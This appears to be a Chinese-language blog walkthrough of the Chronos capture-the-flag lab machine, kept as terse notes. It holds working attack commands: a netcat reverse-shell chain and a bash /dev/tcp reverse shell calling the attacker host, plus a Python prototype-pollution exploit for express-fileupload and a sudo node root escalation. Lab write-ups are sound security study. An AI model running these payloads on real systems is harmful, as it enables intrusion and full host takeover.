- 靶机地址
- 难度:中
知识点
- 端口扫描
- WEB侦查
- 命令注入
- 数据编解码
- 搜索大法
- 框架漏洞利用
- express-fileupload
- node.js原型污染漏洞
- 代码审计
- NC串联
- 本地提权
- 主机发现
- netdiscover -r 192.168.2.0/16
- 最后最好是想要扫的减8 , 24-8=16
- 192.168.2.119
- 扫描端口
- nmap -p- 192.168.2.119
- 22, 80, 8000
- 扫描应用及版本
- nmap -p22,80,8000 -sV 192.168.2.119
- 80:apache 2.4.29
- 8000:node.js express framework
- 访问80端口,发现js代码
- 使用cyberchef处理一下代码
- http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
- vi /etc/hosts
- 将 chronos.local解析为目标IP(192.168.2.119)
- 刷新页面,出现新的东西
- 对url中的字符串处理一下
- ‘+Today is %A, %B %d, %Y %H:%M:%S.’
- 猜测是 date ‘+Today is %A, %B %d, %Y %H:%M:%S.’
- &&ls的base58编码:yZSGA
- 使用BP抓包测试
- 反弹shell
- 攻击的所有命令要base58编码
- 攻击机(192.168.2.118)先监听:nc -nvlp 4444 和 5555
- &&nc 192.168.2.118 4444 | /bin/bash | nc 192.168.2.118 5555
- linux常用提权
- 内核漏洞
- uname -a
- suid
- sudo -l
- 内核漏洞
- cat ../chronos-v2/backend/server.js
- node.js代码审计
- 利用express-fileupload
1
2
3
4
5
6import requests
cmd = 'bash -c "bash -i &> /dev/tcp/本机IP/监听端口 0>&1"'
# pollute
requests.post('http://127.0.0.1(目标):8080', files = {'__proto__.outputFunctionName': (None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('http://127.0.0.1:8080') - 将python的exp代码传到目标tmp目录下,监听后执行,成功获得imera账户
- 然后利用sudo -l 配置漏洞获得root
sudo node -e 'child_process.spawn("/bin/bash",{stdio:[0,1,2]})'
Chronos(打靶系列-3)
Author: felzl
Permalink: https://felzl.github.io/2021/12/11/Chronos-%E6%89%93%E9%9D%B6%E7%B3%BB%E5%88%97-3/
License: Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
Slogan: Do you believe in DESTINY?